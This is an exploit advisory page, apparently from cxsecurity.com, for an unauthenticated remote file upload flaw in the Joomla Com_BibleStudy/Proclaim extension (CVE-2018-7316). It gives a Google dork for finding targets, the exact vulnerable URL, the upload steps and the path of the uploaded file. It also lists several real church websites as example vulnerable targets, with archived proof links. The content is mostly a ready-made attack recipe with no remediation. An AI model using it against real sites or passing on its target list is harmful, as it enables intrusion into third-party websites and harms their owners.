Joomla Com_BibleStudy Proclaim MediaFileForm Remote File Upload Vulnerability

2018.09.28
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

################################################################################################# # Exploit Title : Joomla Com_BibleStudy Proclaim MediaFileForm Remote File Upload Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 28/09/2018 # Vendor Homepage : joomlabiblestudy.org ~ extensions.joomla.org/extension/proclaim/ # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # CVE: CVE-2018-7316 # CWE : CWE-264 [ Permissions, Privileges, and Access Controls ] ################################################################################################# # Google Dork : inurl:''/index.php?option=com_biblestudy'' # Exploit : TARGET/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1 # Note : Go to the '' Media Files '' Category. Choose your File and Upload it. # Directory File Path : TARGET/images/biblestudy/media/.... ################################################################################################# # Example Vulnerable Sites => kalamekhuda.com/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1 => [ Proof of Concept for Vulnerability and Proof of Mirror ] => archive.is/nfskL => archive.is/5NaKe hereatcalvary.org/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1 [ Proof of Concept ] => archive.is/oEPx3 cclivinghope.org/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1 ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top